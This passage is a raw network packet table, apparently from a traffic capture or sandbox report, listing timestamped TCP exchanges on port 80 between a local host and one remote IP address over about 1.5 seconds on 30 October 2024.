Oct 30, 2024 21:55:20.421621084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.421637058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.421658039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.421669960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.421677113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.421684027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.421695948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.421710968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.421720982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.421720982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.421770096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.427571058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.427582979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.427596092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.427633047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.469192028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.574332952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.574361086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.574371099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.574450016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.575212955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.575222969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.575233936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.575243950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.575254917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.575268030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.575285912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.575335979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.575484991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.575495958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.575506926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.575517893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.575537920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.575556040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.583601952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.583658934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.583745003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.692465067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.692478895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.692491055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.692502975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.692583084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.692648888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.692828894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.692852020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.692867041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.692877054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.692934990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.693599939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.693610907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.693622112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.693634033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.693660021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.693686008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.743474007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.743488073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.743499041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.743630886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.811419010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.811460018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.811471939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.811482906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.811505079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.811537981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.811805010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.811860085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.811872959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.811885118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.811925888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.811938047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.812598944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.812743902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.812834978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.862608910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.862643003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.862653017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.862663984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.862699032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.862736940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.929049969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.929126024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.929136992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.929157019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.929167986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.929179907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.929179907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.929233074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.929233074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.929936886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.930071115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.930124044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.930146933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.930159092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.930170059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.930211067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.930841923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.930910110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.930937052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.979742050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.979753017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.979769945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.979803085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.979881048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:20.979968071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.980278969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:20.980325937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.047061920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.047216892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.047228098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.047290087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.047301054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.047305107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.047318935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.047341108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.047375917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.047990084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.048049927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.048120975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.048372030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.048489094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.048500061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.048511028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.048543930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.048543930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.097799063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.097939014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.097975969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.098001003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.098015070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.098026037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.098066092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.156642914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.165355921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.165379047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.165390968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.165427923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.165442944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.165472984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.165803909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.165817976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.165829897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.165863991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.166748047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.166759968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.166773081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.166784048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.166810036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.166810036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.219142914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.236778021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.236839056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.236851931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.236869097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.236907005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.236907005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.237250090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.281632900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.284347057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.284360886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.284374952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.284389019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.284410954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.284452915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.284548998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.284560919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.284604073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.284914970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.284928083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.284948111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.284971952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.285300016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.285394907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.285474062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.328520060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.334276915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.334505081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.334517002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.334557056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.334656000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.334667921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.334681034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.334696054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.334713936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.334785938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.335413933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.335475922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.402339935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.402424097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.402437925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.402496099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.402677059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.402689934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.402702093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.402715921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.402739048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.402739048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.403650999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.403737068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.403769970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.403836966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.403848886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.403861046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.403908968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.452286005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.452328920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.452347040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.452356100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.452397108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.452616930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.452811003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.452822924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.452842951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.452855110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.452867031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.452883005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.452883005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.452935934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.520328999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.520436049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.520447969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.520493031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.520512104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.520524979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.520538092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.520551920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.520590067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.521254063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.521519899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.521565914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.521758080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.521858931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.521869898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.521914005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.562886953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.570421934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.570579052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.570590973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.570624113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.570816040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.570827007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.570837975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.570894957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.570894957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.570949078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.570965052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.570976019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.570988894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.571013927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.571060896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.639111042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639173985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639184952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639197111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639235020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.639287949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.639384985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639475107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639525890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639529943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.639539003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639703989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.639751911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639826059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639837027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.639916897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.688757896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.688944101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.688955069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.688963890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.689017057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.689032078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.689043999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.689064980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.689064980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.689074039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.689095020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.689136982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.689790010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.689810991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.689821959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.689877033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.690124989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.690191031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.757061958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.757076025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.757087946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.757199049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.757380009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.757391930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.757411003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.757421970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.757433891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.757450104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.757463932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.757474899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.758096933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.758116961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.758128881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.758177996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.807180882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.807192087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.807203054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.807214022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.807224989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.807236910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.807240009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.807327032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.807889938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.807917118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.807928085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.807949066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.807962894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.851386070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.851397038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.851408958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.851509094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.875025988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.875036001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.875047922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.875072956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.875086069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.875097036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.875128984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.875128984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.875833035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.875844955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.875859976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.875895977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.875953913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.875978947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.876672029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.876791000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.925129890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.925272942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.925283909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.925359011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:21.925396919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.925407887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.925419092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:21.925452948 CET	49712	80	192.168.2.5	185.215.113.16
